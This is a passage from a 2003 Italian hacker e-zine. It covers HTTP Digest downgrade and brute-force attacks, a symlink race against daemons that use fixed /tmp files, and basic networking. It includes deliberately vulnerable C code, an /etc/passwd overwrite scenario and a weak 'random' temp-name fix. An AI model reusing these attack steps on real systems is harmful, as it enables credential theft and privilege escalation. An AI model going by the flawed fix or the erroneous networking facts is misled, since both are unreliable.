| della comunicazione. Più precisamente, attraverso un MITM un utente |
| malevolo è in grado di impersonificare il client o il server al fine di |
| compromettere la sicurezza dello schema digest. |
| |
| Nel corso dell'articolo non entrerò in merito alle modalità con cui può |
| essere condotto un attacco MITM, ad ogni modo per chi fosse interessato |
| ad approfondire l'argomento può trovare dei riferimenti nell'articolo |
| "Code Injection" comparso nel numero 8 di Ondaquadra, che illustra |
| alcune possibili applicazioni di questa tecnica. |
| |
| Una volta guadagnata la posizione "nel mezzo" un utente malevolo è |
| in grado di impersonificare il server e manipolare le informazioni che |
| da esso provengono. |
| Un possibile scenario prevede la manipolazione da parte dell'attaccante |
| degli header HTTP al fine di forzare il client ad autenticarsi |
| utilizzando uno schema debole quale una basic authentication. |
| Ad esempio, il client esegue una GET su una risorsa protetta dal server |
| con uno schema digest... |
| |
| |
| 20:54:39 192.168.1.4:1167 --> 192.168.1.6:80 |
| |
| GET /login HTTP/1.0. |
| Connection: Keep-Alive. |
| User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). |
| Host: paperino.linuxbox.com. |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. |
| Accept-Encoding: gzip. |
| Accept-Language: en. |
| Accept-Charset: iso-8859-1,*,utf-8. |
| |
| |
| ...il server risponde con un messaggio 401 Authorization Required con il |
| quale invita il client ad autenticarsi per mezzo di uno schema digest... |
| |
| |
| 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Thu, 30 Jan 2003 20:51:29 GMT. |
| Server: Apache/1.3.26 (Unix). |
| WWW-Authenticate: Digest realm="Login", nonce="1044354862". |
| Connection: close. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| ...l'utente malevolo sfrutta la sua condizione di MITM per intercettare |
| e |
| manomettere l'header WWW-Authenticate e forzare il client ad utilizzare |
| uno schema di autenticazione vulnerabile... |
| |
| |
| 20:54:39 192.168.1.6:80 --> 192.168.1.4:1167 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Thu, 30 Jan 2003 20:51:29 GMT. |
| Server: Apache/1.3.26 (Unix). |
| WWW-Authenticate: Basic realm="Login". |
| Connection: close. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| ...il client invia le proprie credenziali in chiaro esponendole alla |
| cattura da parte di chi attacca... |
| |
| |
| 20:55:18 192.168.1.4:1168 --> 192.168.1.6:80 |
| |
| GET /login HTTP/1.0. |
| Connection: Keep-Alive. |
| User-Agent: Mozilla/4.77 [en] (X11; U; Linux 2.4.18 i686). |
| Host: paperino.linuxbox.com. |
| Accept: image/gif, image/x-xbitmap, image/jpeg, image/png, */*. |
| Accept-Encoding: gzip. |
| Accept-Language: en. |
| Accept-Charset: iso-8859-1,*,utf-8. |
| Authorization: Basic cGlwcG86cGlwcG8=. |
| |
| |
| L'utente malevolo che ha intercettato le credenziali in base64 è ora in |
| grado di decodificarle ed utilizzare tali informazioni per accedere |
| comodamente tramite un'autenticazione digest. |
| |
| |
| 4.3 Brute Force Attack |
| |
| Il valore del challange e del response, scambiati tra il client e il |
| server nel corso di un'autenticazione di tipo digest, costituiscono gli |
| elementi sufficienti per eseguire un attacco di forza bruta in grado di |
| ricavare la password di accesso dell'utente. |
| Pertanto, un utente che entri in possesso di tali informazioni può |
| provare ad applicare lo stesso algoritmo utilizzato per la generazione |
| del responce per un dato nonce, utilizzando come password una lista di |
| parole di uso comune. |
| |
| Qui di seguito viene illustrato quello che potrebbe essere un possibile |
| scenario, i valori rispettivamente del challange e del response sono i |
| seguenti: |
| |
| |
| 11:34:22 192.168.1.4:80 --> 192.168.1.5:32775 |
| |
| HTTP/1.1 401 Authorization Required. |
| Date: Tue, 04 Feb 2003 10:34:22 GMT. |
| Server: Apache/1.3.20 (Unix). |
| WWW-Authenticate: Digest realm="Login", nonce="1044354862". |
| Transfer-Encoding: chunked. |
| Content-Type: text/html; charset=iso-8859-1. |
| |
| |
| 11:34:28 192.168.1.5:32776 --> 192.168.1.4:80 |
| |
| GET /login/ HTTP/1.1. |
| User-Agent: Mozilla/5.0 (compatible; Konqueror/3; Linux). |
| Accept: text/*, image/jpeg, image/png, image/*, */*. |
| Accept-Encoding: x-gzip, gzip, identity. |
| Accept-Charset: ISO-8859-1, utf-8;q=0.5, *;q=0.5. |
| Accept-Language: en, POSIX. |
| Host: pippo.linuxbox.com. |
| Authorization: Digest username="pippo", realm="Login", |
| nonce="1044354862", uri="/login/", algorithm="MD5", |
| response="f39e7e7e63adffc9d7a06e9c0ce68d03". |
| |
| |
| Partendo dal presupposto che l'algoritmo utilizzato da mod_digest.c per |
| generare il response è il seguente: |
| |
| response = MD5(MD5(username:realm:passwd):nonce:MD5(method:request URI)) |
| |
| e sapendo che l'unico parametro di cui NON siamo in possesso è quello |
| della password... |
| |
| response = MD5(MD5(pippo:Login:???????????):1044354862:MD5(GET:/login/)) |
| |
| ...possiamo computare tutti i possibili valori del campo password |
| all'interno di una lista di parole di uso comune, fino ad ottenere un |
| response identico a quello catturato, in tal caso avremo trovato il |
| valore della password. |
| |
| |
| 4.4 Implementazione |
| |
| Riporto qui di seguito alcuni sorgenti tratti dall'RFC 2617 che |
| implementano l'algoritmo utilizzato per computare il valore del response |
|

  
|
| |
| File "digcalc.h": |
| |
| |
| #define HASHLEN 16 |
| typedef char HASH[HASHLEN]; |
| #define HASHHEXLEN 32 |
| typedef char HASHHEX[HASHHEXLEN+1]; |
| #define IN |
| #define OUT |
| |
| /* calculate H(A1) as per HTTP Digest spec */ |
| void DigestCalcHA1( |
| IN char * pszAlg, |
| IN char * pszUserName, |
| IN char * pszRealm, |
| IN char * pszPassword, |
| IN char * pszNonce, |
| IN char * pszCNonce, |
| OUT HASHHEX SessionKey |
| ); |
| |
| /* calculate request-digest/response-digest as per HTTP Digest spec */ |
| void DigestCalcResponse( |
| IN HASHHEX HA1, /* H(A1) */ |
| IN char * pszNonce, /* nonce from server */ |
| IN char * pszNonceCount, /* 8 hex digits */ |
| IN char * pszCNonce, /* client nonce */ |
| IN char * pszQop, /* qop-value: "", "auth", "auth-int" */ |
| IN char * pszMethod, /* method from the request */ |
| IN char * pszDigestUri, /* requested URL */ |
| IN HASHHEX HEntity, /* H(entity body) if qop="auth-int" */ |
| OUT HASHHEX Response /* request-digest or response-digest */ |
| ); |
| |
| |
| File "digcalc.c": |
| |
| |
| #include <global.h> |
| #include <md5.h> |
| #include <string.h> |
| #include "digcalc.h" |
| |
| void CvtHex( |
| IN HASH Bin, |
| OUT HASHHEX Hex |
| ) |
| { |
| unsigned short i; |
| unsigned char j; |
| |
| for (i = 0; i < HASHLEN; i++) { |
| j = (Bin[i] >> 4) & 0xf; |
| if (j <= 9) |
| Hex[i*2] = (j + '0'); |
| else |
| Hex[i*2] = (j + 'a' - 10); |
| j = Bin[i] & 0xf; |
| if (j <= 9) |
| Hex[i*2+1] = (j + '0'); |
| else |
| Hex[i*2+1] = (j + 'a' - 10); |
| }; |
| Hex[HASHHEXLEN] = '\0'; |
| }; |
| |
| /* calculate H(A1) as per spec */ |
| void DigestCalcHA1( |
| IN char * pszAlg, |
| IN char * pszUserName, |
| IN char * pszRealm, |
| IN char * pszPassword, |
| IN char * pszNonce, |
| IN char * pszCNonce, |
| OUT HASHHEX SessionKey |
| ) |
| { |
| MD5_CTX Md5Ctx; |
| HASH HA1; |
| |
| MD5Init(&Md5Ctx); |
| MD5Update(&Md5Ctx, pszUserName, strlen(pszUserName)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszRealm, strlen(pszRealm)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszPassword, strlen(pszPassword)); |
| MD5Final(HA1, &Md5Ctx); |
| if (stricmp(pszAlg, "md5-sess") == 0) { |
| MD5Init(&Md5Ctx); |
| MD5Update(&Md5Ctx, HA1, HASHLEN); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszNonce, strlen(pszNonce)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszCNonce, strlen(pszCNonce)); |
| MD5Final(HA1, &Md5Ctx); |
| }; |
| CvtHex(HA1, SessionKey); |
| }; |
| |
| /* calculate request-digest/response-digest as per HTTP Digest spec */ |
| void DigestCalcResponse( |
| IN HASHHEX HA1, /* H(A1) */ |
| IN char * pszNonce, /* nonce from server */ |
| IN char * pszNonceCount, /* 8 hex digits */ |
| IN char * pszCNonce, /* client nonce */ |
| IN char * pszQop, /* qop-value: "", "auth", "auth-int" */ |
| IN char * pszMethod, /* method from the request */ |
| IN char * pszDigestUri, /* requested URL */ |
| IN HASHHEX HEntity, /* H(entity body) if qop="auth-int" */ |
| OUT HASHHEX Response /* request-digest or response-digest */ |
| ) |
| { |
| MD5_CTX Md5Ctx; |
| HASH HA2; |
| HASH RespHash; |
| HASHHEX HA2Hex; |
| |
| // calculate H(A2) |
| MD5Init(&Md5Ctx); |
| MD5Update(&Md5Ctx, pszMethod, strlen(pszMethod)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszDigestUri, strlen(pszDigestUri)); |
| if (stricmp(pszQop, "auth-int") == 0) { |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, HEntity, HASHHEXLEN); |
| }; |
| MD5Final(HA2, &Md5Ctx); |
| CvtHex(HA2, HA2Hex); |
| |
| // calculate response |
| MD5Init(&Md5Ctx); |
| MD5Update(&Md5Ctx, HA1, HASHHEXLEN); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszNonce, strlen(pszNonce)); |
| MD5Update(&Md5Ctx, ":", 1); |
| if (*pszQop) { |
| MD5Update(&Md5Ctx, pszNonceCount, strlen(pszNonceCount)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszCNonce, strlen(pszCNonce)); |
| MD5Update(&Md5Ctx, ":", 1); |
| MD5Update(&Md5Ctx, pszQop, strlen(pszQop)); |
| MD5Update(&Md5Ctx, ":", 1); |
| }; |
| MD5Update(&Md5Ctx, HA2Hex, HASHHEXLEN); |
| MD5Final(RespHash, &Md5Ctx); |
| CvtHex(RespHash, Response); |
| }; |
| |
| |
| File "digtest.c": |
| |
| |
| #include <stdio.h> |
| #include "digcalc.h" |
| |
| void main(int argc, char ** argv) { |
| |
| char * pszNonce = "dcd98b7102dd2f0e8b11d0f600bfb0c093"; |
| char * pszCNonce = "0a4f113b"; |
| char * pszUser = "Mufasa"; |
| char * pszRealm = "testrealm@host.com"; |
| char * pszPass = "Circle Of Life"; |
| char * pszAlg = "md5"; |
| char szNonceCount[9] = "00000001"; |
| char * pszMethod = "GET"; |
| char * pszQop = "auth"; |
| char * pszURI = "/dir/index.html"; |
| HASHHEX HA1; |
| HASHHEX HA2 = ""; |
| HASHHEX Response; |
| |
| DigestCalcHA1(pszAlg, pszUser, pszRealm, pszPass, pszNonce, |
| pszCNonce, HA1); |
| DigestCalcResponse(HA1, pszNonce, szNonceCount, pszCNonce, pszQop, |
| pszMethod, pszURI, HA2, Response); |
| printf("Response = %s\n", Response); |
| }; |
| |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ HACKiNG #09 - 01/06/2003 |
| SYMB0LiC LiNK VULNERABiLiTiES [Master^Shadow] 0x05/0x20 |
+--------------------------------------------------------------------------+
| INTRODUZIONE |
| Una delle vulnerabilità più interessanti del mondo *NIX è sicuramente |
| quella dovuta alla combinazione di link simbolici e all'apertura di file |
| temporanei non casuali da parte dei programmi. |
| Ipotizziamo di avere un demone in background che aspetti dei dati in |
| input dall'utenza e li memorizzi in un file temporaneo per |
| l'elaborazione e che il nome di questo file sia stato predefinito dal |
| programmatore del demone stesso. Ad ogni richiesta sul demone |
| corrisponde l'accesso al file "taldeitali" e la scrittura di dati sullo |
| stesso. |
| Nel mondo *NIX ci sono due soli metodi di accesso ai file: accesso |
| diretto o tramite link (sia simbolico che non). Teoricamente il demone è |
| stato scritto per accesso diretto in quanto il file non dovrebbe |
| esistere ma se in qualche maniera il file esistesse e non fosse un file |
| reale ma un link, cosa accade al programma? Qui nasce la vulnerabilità |
| ai link simbolici, oggetto di questo paper. |
| |
| CAPIRE LA VULNERABILITA' |
| Il modo migliore per affrontare l'analisi di questa vulnerabilità è |
| prendere confidenza con la stessa operando su un piccolo pezzo di |
| codice C. |
| |
| // Inizio codice vulnerabile |
| #include <stdio.h> |
| |
| int main() |
| { char *stringa = "Da qui posso entrare, fai attenzione!\0"; |
| FILE *out; |
| out = fopen("/tmp/filepericoloso", "w"); |
| fputs(stringa, out); |
| } |
| // Fine codice vulnerabile |
| |
| Questo codice va compilato con "gcc -o nomeEseguibile sorgente.c" ed è |
| in grado di creare un file nella directory "/tmp" chiamato |
| "filepericoloso", nel quale viene scritta la stringa "Stringa di testo". |
| Avviamo l'eseguibile ottenuto da gcc per creare il file "filepericoloso" |
| e facciamo un cat del file appena creato: come era ovvio il file |
| contiene il testo puntato dal riferimento *stringa. |
| Proviamo ora a rimuovere il file "filepericoloso" e a creare un link |
| simbolico ad un altro file, ad esempio con: |
| |
| ln -s /tmp/fileesistente /tmp/filepericoloso |
| |
| Ora abbiamo ottenuto che il file "/tmp/filepericoloso" è divenuto un |
| link a "/tmp/fileesistente" e agendo sul link "filepericoloso" si |
| modifica il file a cui punta il link e non quindi il link stesso. Se |
| infatti lanciamo il programma vulnerabile otterremo la sovrascrittura di |
| "/tmp/fileesistente" e non di "/tmp/filepericoloso". |
| |
| POSSIBILI SVILUPPI |
| Pensiamo al nostro demone come ad un servizio di rete. Solitamente i |
| servizi vengono lanciati all'avvio tramite scripts e normalmente girano |
| a livello di root (tranne particolari casi nei quali solo il core |
| dell'applicazione viene avviato come root mentre i thread girano a uid |
| più elevato). |
| |
| <Q: Cosa abbiamo ottenuto?> |
| Il nostro demone è diventato un appliance di rete che gira a permessi |
| elevati ed è vulnerabile al SymLink Attack. |
| Avendo accesso al sistema e quindi alla directory /tmp in scrittura è |
| possibile creare un link ad un qualsiasi file del sistema pur non avendo |
| i permessi per modificare tale file. |
| Se infatti creassimo un link "/tmp/filepericoloso" verso un qualsiasi |
| file e avviassimo il demone vulnerabile, questo sovrascriverebbe il file |
| puntato del link con l'array di caratteri puntato da *stringa. |
| Qualsiasi file verrà sovrascritto in quanto il processo del demone ha i |
| permessi massimi, quelli dell'utente root. |
| |
| Se il demone memorizza nel file temporaneo dati provenienti dall'utente |
| è possibile scrivere in un qualsiasi file del sistema l'input |
| proveniente da tastiera. |
| Se il file puntato fosse /etc/passwd sarebbe possibile creare un account |
| nel sistema con i più alti privilegi in pochi secondi, beffandosi di |
| tutte le protezioni d'accesso presenti nel sistema. |
| |
| GENERARE NOMI CASUALI PER I FILE TEMPORANEI |
| Per ovviare al problema generato dalla non causualità dei file |
| temporanei è possibile scrivere un algoritmo per la creazione random di |
| un nome per i file temporanei. |
| L'algoritmo sottostante è generato tramite la combinazione di tre |
| valori, uno fisso e due casuali (uno prettamente causuale e uno |
| dipendente da come è stato concepito lo scheduler del sistema che nel |
| peggiore dei casi è un valore sequenziale). |
| I tre valori considerati sono: un prefisso, un numero casuale generato |
| tramite i tick di sistema e il PID, un numero che identifica |
| univocamente un processo nei sistemi Linux. |
| |
| // Inizio del codice di generazione nome casuale |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <string.h> |
| #include <time.h> |
| #include <sys/types.h> |
| #include <unistd.h> |
| |
| int main(void) |
| { |
| int rndNum; |
| char *prefix = "prefix\0"; |
| char filename[100] = "\0"; |
| time_t seed = time(NULL); |
| |
| strcat(filename, prefix); |
| srand(seed); |
| rndNum = 1+ (int)(1000.0*rand()/(RAND_MAX+1.0)); |
| rndNum *= getpid(); |
| |
| sprintf(filename, "%s%d", filename, rndNum); |
| printf("%s\n", filename); |
| |
| return 0; |
| } |
| // Fine del codice di generazione nome casuale |
| |
| L'algoritmo implementato nel codice sovrastante è molto semplice: la |
| stringa puntata da *prefix viene copiata nell'array di caratteri |
| filename (di dimensione 100) e successivamente si inizializza il |
| generatore di numeri casuali con il numero di secondi passati dalla data |
| di riferimento (generalmente 00:00:00 UTC, January 1, 1970). |
| Una volta che il generatore è stato inizializzato, viene assegnato alla |
| variabile rndNum un numero casuale intero compreso tra 0 e 999 |
| moltiplicato per il PID del processo ed il tutto viene unito nell'array, |
| rendendo il nome generato accessibile. |
| Solitamente i demoni creano un thread ad ogni connessione in modo da |
| gestire la multi-utenza e, se l'algoritmo viene implementato all'interno |
| del thread stesso, è possibile avere un PID diverso ad ogni connessione |
| e rendere quindi pressochè impossibile la predizione del nome del file |
| temporaneo. |
| |
| RINGRAZIAMENTI |
| I più sentiti ringraziamenti a tutti i componenti di RoLUG, agli amici |
| di OndaQuadra, allo staff di Pcimprover.it e a tutti quelli che mi |
| sopportano giorno dopo giorno. |
| Ringrazio inoltre tutti i promotori di Linux in tutto il mondo e tutti |
| coloro che vogliono un sistema informatico libero da concezioni |
| politiche e da monopoli. |
| Free software is the right choice! |
| |
| |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ NETW0RKiNG #09 - 01/06/2003 |
| LE RETi [Spy] 0x06/0x20 |
+--------------------------------------------------------------------------+
| |
| Le reti |
| |
| |
| |
| Protocollo: |
| |
| Il Protocollo è fondamentale in tutte le tipologie di reti |
| informatiche, infatti il protocollo è il “linguaggio” di comunicazione |
| utilizzato da vari personal computer nella rete. |
| |
| I vari tipi di protocollo: |
| |
| Protocollo IPv4 |
| Protocollo IPv6 |
| Protocollo TCP (associato al Protocollo IP forma il |
| protocollo TCP/IP) |
| Protocollo netBios o netBuei |
| Protocollo IPX/SPX |
| Protocollo AppleTalk |
| Rete TokenRing |
| |
| Il Protocollo IPv4 e IPv6 |
| |
| IPv sta per: Internet Protocol version |
| Le attuali versioni di Internet Protocol sono la versione 4 ormai in |
| circolazione da molto tempo e la versione 6 di recente uscita |
| destinato a rimpiazzare l’IPv4 su cui si basa Internet. |
| Tutti gli utenti Internet usano IPv4, un protocollo vecchio ormai di |
| vent’anni e con molte falle riguardanti la sicurezza ciò fa pensare |
| alla progettazione di un nuovo protocollo. |
| Il Secondo e ben più importante motivo della nascita del IPv6 è la |
| mancanza di indirizzi IPv4 che stanno ormai per terminare! |
| L’IPv6 è in attuale co-esistenza con l’IPv4 appoggiandosi ad una rete |
| IPv6-Over-IPv6 chiamata 6Bone la quale appoggia a sua volta |
| sull’attuale rete Internet, tramite un sistema di Tunneling i dati |
| IPv6 vengono inseriti in normali pacchetti IPv4. |
| La differenza sostanziale tra IPv4 e IPv6 sta nella struttura degli |
| indirizzi. |
| |
| Nella versione 4 dell’Internet Protocol gli indirizzi IP sono |
| espressi in base 10 (es. 62.98.231.67) |
| mentre nella nuova versione gli IP sono rappresentati in base 16 |
| (esadecimale) (es. 2001:6b8:0:400::70c) |
| Analizzando la struttura del nuovo IPv6 si nota che l’IP è organizzato |
| in 8 blocchi di 16 Bit ciascuno, se osserviamo l’esempio sopraccitato |
| si vede che l’IP è formato solo da 6 blocchi, in effetti sono 8 ma due |
| blocchi sono racchiusi tra “::” perché costituiti tutti da zeri. |
| Nella forma completa il nostro IP sarebbe stato: |
| 2001:06b8:0000:0000:0400:0000:0000:070c |
| |
| Un'altra forma di scrittura per l’IPv6 è la Nibble, questa forma è |
| usata per la zona inversa del DNS (Domain name Server). |
| Questa forma prevede che l’IP venga scritto al contrario, senza |
| contradistinzioni e che ogni carattere venga separato degli altri per |
| mezzo di un punto. |
| La rappresentazione del nostro IP |
| (2001:06b8:0000:0000:0400:0000:0000:070c) nella forma NIbble |
| corrisponderebbe a |
| c.0.7.0.0.0.0.0.0.0.0.0.0.0.4.0.0.0.0.0.0.0.0.08.b.6.0.1.0.0.2.ipv6.int |
| |
| |
| DNS: è il sistema che permette di far corrispondere un dato dominio |
| al relativo indirizzo ip, in modo che digitando il nome di un dominio |
| di un sito, l’utente venga connesso al server che ospita quel sito. |
| |
| Protocollo TCP/IP |
| |
| Il TCP/IP non si può definire un protocollo me è meglio dire che è un |
| insieme di protocolli che comprendono TCP, IP, UDP ed altri ancora. |
| |
| Funzionamento: |
| |
| Per trasmettere dei dati tra due calcolatori bisogna avere la |
| possibilità di identificare i due i calcolatori, questo è possibile |
| mediante l’indirizzo ip che deve essere unico per ogni calcolatore. |
| Il protocollo ip consente la trasmissione di pacchetti di dati tra due |
| elaboratori |
| La trasmissione di dati mediante protocollo IP segue uno schema molto |
| semplice: i dati vengono suddivisi in pacchetti di una certa |
| dimensione, ad ogni pacchetto è associato il numero identificativo del |
| computer che spedisce i pacchetti e quello del computer destinatario. |
| Questo tipo di protocollo non prevede nessun tipo di controllo sui |
| dati trasmessi, non verifica che tutti i pacchetti siano |
| effettivamente arrivati a destinazione e che la sequenza di arrivo |
| corrisponda a quella di invio. |
| Proprio per questo al protocollo IP è stato affiancato il protocollo |
| TCP che si occupa della correttezza delle trasmissioni, verifica che |
| tutto ciò che è stato trasmesso arrivi a destinazione e se ciò non |
| avviene rinvia il pacchetto mancante, inoltre verifica che la sequenza |
| di arrivo dati sia uguale a quella di invio. |
| |
| Protocollo netBios/netBuei: |
| |
| NetBios (NetWork Basic Input/Output System) è un insieme di regole che |
| dettano in che modo le applicazioni debbano accedere alla rete. |
| Fu sviluppato dall’IBM e dalla Microsoft agli inizi degli anni ’80. |
| Con questo sistema attivato ogni computer viene identificato in rete |
| da un nome attribuito al pc al momento dell’installazione del SO |
| (Sistema Operativo). |
| Quando vengono inviati dei pacchetti NetBIOS ogni computer connesso |
| alla rete ne riceve una copia ma il pacchetto viene preso in |
| considerazione solo se l’indirizzo del destinatario inserito nel |
| pacchetto NetBios corrisponde la nome del computer. |
| Questo sistema pur essendo molto semplice presenta degli |
| inconvenienti, infatti le prestazione della rete vengono degradate |
| dall’eccessiva presenza di pacchetti inutili e quindi destinati ad |
| essere scartati. |
| Inoltre non è possibile interfacciare direttamente diverse reti tra |
| loro e non possono accedere all’esterno, di conseguenza questo |
| protocollo è destinato a piccole reti chiuse. |
| |
| Protocollo IPX/SPX |
| |
| IPX/SPX (Internetwork Packet eXchange/Sequential Packet eXchange) è un |
| protocollo creati dalla Novell per le proprie reti e diventato uno |
| standard nei primi anni ’90. |
| Si tratta dell’unione di due protocolli molto simili tra loro da poter |
| lavorare insieme formando un unico protocollo. |
| Il protocollo IPX si può considerare simile al NetBIOS infatti |
| anch’esso prepara i pacchetti e li inoltra nella rete senza curarsi |
| del destinatario, se il destinatario li abbia ricevuti integri e tanto |
| meno se li abbia effettivamente ricevuti. |
| Proprio per questo motivo gli è stato affiancato il protocollo SPX che |
| è in grado di eseguire queste funzione e di identificare uno specifico |
| computer nella rete attraverso il nome del computer e di un |
| particolare indirizzo memorizzato nel hardware di rete al momento |
| della sua produzione. |
| |
| Protocollo AppleTalk |
| |
| Questo protocollo è stato studiato da Apple per la messa in opera di |
| reti Macintosh |
| L’assegnazione di un indirizzo Apple Talk avviene dinamicamente nel |
| momento dell’avvio del computer, il sistema sceglie l’indirizzo |
| automaticamente e invia sulla rete una richiesta di conferma. |
| Se nessun altro computer risponde, l’indirizzo scelto viene assegnato |
| automaticamente. |
| Se invece l’indirizzo scelto è già presente sulla rete, il computer |
| riceve un messaggio d’errore dal computer al quale è stato assegnato |
| l’indirizzo in questione per primo, di conseguenza il computer in |
| cerca dell’indirizzo ne prova un altro fino a quando non ne trova uno |
| libero. |
| Ogni indirizzo di rete AppleTalk viene associato all’hardware di rete |
| installato sul computer. |
| Un punto a favore di questa tipologia di rete è la semplicità di |
| utilizzo ma purtroppo esistono dei limiti; AppleTalk non ha avuto |
| molta diffusione innanzitutto per il particolare File System adottato |
| dalla Apple che rende difficoltoso lo scambia di dati da sistemi Apple |
| a sistemi non Apple. |
| Un altro motivo è che il protocollo AppleTalk fosse proprietà di Apple |
| e quindi ha tenuto lontani i programmatori dai suoi segreti evitando |
| quasi l’accesso da parte di tecnologie esterne. |
| |
| Rete TokenRing |
| |
| La rete TokenRing nasce da studi effettuati da IBM e risulta essere la |
| più veloce rete informatica disponibile al momento. |
| Il nome Token-Ring deriva dalla sua struttura particolare, cioè ad |
| anello (in inglese Ring) e dalla tecnica di trasmissione dei dati. |
| In un anello di connessione viaggiano diversi pacchetti detti token |
| che indicano un particolare stato: libero o impegnato. |
| Quando un computer connesso alla rete deve trasmettere dei dati, |
| aspetta fino a quando non riceve in ingresso un token libero. |
| Non appena il token libero viene individuato il computer lo |
| sostituisce con un token impegnato, seguito dal pacchetto dati da |
| recapitare così prende circolo nel flusso della rete. |
| Se il pacchetto dati compie l’intero percorso torna al computer che ha |
| emesso questo pacchetto che lo elimina dal flusso e lo sostituisce con |
| un token libero e aspetta di nuovo il suo turno per trasmettere. |
| Il risultato ovvio è che in una rete TokenRing la consegna dei dati |
| presso il destinatario è garantita in quanto essi vengono sempre |
| ritrasmessi fino ad esito positivo, cioè fino a quando non vengono |
| eliminati dal flusso dal destinatario e sostituiti con un token libero |
| Questa rete è particolarmente adatta all’utilizzo delle fibre ottiche |
| per la trasmissione di grandi moli di dati. |
| |
| Le tipologie di reti |
| |
| Reti a Stella |
| |
| Sono basate su un nodo centrale (detto hub) al quale sono connessi |
| tutti gli altri nodi periferici. |
| In Questo tipo di rete ogni elaboratore ha un proprio mezzo fisico per |
| collegarsi al server mediante l’HUB. |
| |
| Reti a Bus |
| |
| Quando gli elaboratori condividono lo stesso mezzo fisico di |
| trasmissione ossia un cavo BNC |
| I cavi BNC sono cavi coassiali schermati con impedenza di 50 Ohm. |
| |
| Reti ad Anello |
| |
| Tutti gli elaboratori sono collegati tra di loro in modo da formare |
| un “anello” |
| Con questo tipo di connessione si garantisce la continuità del flusso |
| di dati anche in caso di guasto ad un elaboratore. |
| Questo tipo di rete è usata nelle LAN |
| |
| Rete Server |
| |
| Il computer configurato come server ospita la risorsa da condividere e |
| si occupa di rispondere e regolare le richieste di accesso. |
| |
| Reti Peer to Peer (P2P) |
| |
| Rete punto a punto o paritetica dove non esistono computer configurati |
| come server o client ed ogni computer accede alla risorsa direttamente. |
| |
| Acronimi di rete: |
| |
| WAN: Wide Area Network (rete geografica) |
| MAN: Metropolitan area Network (rete urbana) |
| LAN: Local Area Network (rete locale o aziendale) |
| |
| Modelli di schede di rete: |
| |
| Modello con trasmissione dati a 10Mbit tipico delle reti Ethernet 10 |
| base 2. |
| Si installano nei connettori ISA. |
| |
| Modello con trasmissione dati a 10/100 Mbit tipico delle reti |
| Ethernet 100 base T |
| |
| Cavi UTC: Unshielded Twisted Pair sono i cavi con doppino ritorto non |
| schermato. |
| |
| Ethernet: è la tecnologia più diffusa per la realizzazione di reti LAN. |
| Fu sviluppata da Bob Metcalfr che aveva ricevuto l’incarico di trovare |
| un modo per collegare tra loro le prime stazione di lavoro ALTO (i |
| primi computer basati su icone e finestre). |
| |
| |
| |
| Creato da Spy il 08/11/2002 |
| |
| |
+--------------------------------------------------------------------------+



+--------------------------------------------------------------------------+
| ONDAQUADRA ~ NETW0RKiNG #09 - 01/06/2003 |
| iNTR0DUZi0NE ALLE RETi [l1l0] 0x07/0x20 |
+--------------------------------------------------------------------------+
| -------------------- "Introduzione alle Reti" -------------------- |
| |
| -------- Introduzione Generale -------- |
| |
| La più semplice delle reti è quella costituita da due pc, di cui uno |
| prende il nome di "server" (o anche detto servente) il quale mette a |
| disposizione determinati servizi, e l'altro prende il nome |
| di "client"(o anche detto cliente), il quale usufruisce dei servizi |
| messi a disposizione dal server (figura 1). |
| |
| Figura 1 |
| Pc "Client" --------------------> Pc "Server" |
| |
| Per rendere meglio l'idea potremmo immaginare il "client" come il |
| cliente di un ristorante il quale entrato nel ristorante si siede, |
| legge sul menu ciò che il ristorante offre e da questo elenco sceglie |
| ciò che desidera. A grosse linee è quello che succede quando un pc |
| client comunica con un pc server, ma sul menu al posto delle portate vi |
| sono i servizi che il server stesso offre. |
| |
| Si passa da strutture di rete semplici come quella composta da due soli |
| pc, a quelle molto più complesse, che vedremo adesso esaminando le |
| topologie di rete. |
| |
| -------- Introduzione alle Topologie di Rete -------- |
| |
| Innanzitutto voglio chiarire il titolo, "topologie" non è un errore |
| ortografico ma è il termine esatto che sta a definire la struttura |
| delle reti o meglio detto in parole povere il modo in cui sono |
| collegati tra di loro i vari pc facenti parti di una determinata rete. |
| Quindi una rete sarà composta da vari "nodi". I nodi non sono |
| nient'altro che i pc che compongono la rete stessa, e che assumono |
| questo nome. Ora i nodi per comunicare devono essere ovviamente |
| connessi tra loro, e quindi vi è la necessità di avere dei mezzi che |
| fungano da tramite, i mezzi possono essere a "livello fisico" ( cavi, |
| ed altri tipi di connettori...) o a "livello logico" (hub, switch...) |
| ovvero che non necessitano di cavi per instradare i vari messaggi. Per |
| ora basta sapere questo più avanti approfondiremo. |
| |
| |
| -------- Le Topologie di Rete Locali -------- |
| |
| Esistono vari tipi di reti locali, prenderò in esame le seguenti |
| topologie: a bus, ad anello e a stella. |
| Illustrerò di seguito le loro principali caratteristiche. |
| |
| --- Rete a Bus --- |
| |
| E' senza dubbio una delle strutture di rete più semplice, affidabili e |
| veloci, in pratica si tratta di un unico cavo di comunicazione al quale |
| sono collegati i vari nodi (figura 2), è una struttura affidabile in |
| quanto qualora un nodo per un qualsivoglia motivo cada la rete |
| continuerà a funzionare, in quanto il suo funzionamento non è legato ai |
| vari nodi ma ne è bensì indipendente. |
| NB: qualora al nodo siano legati altri pc questi alla caduta del nodo |
| perderanno la comunicazione con la rete principale stessa! |
| |
| Figura 2. |
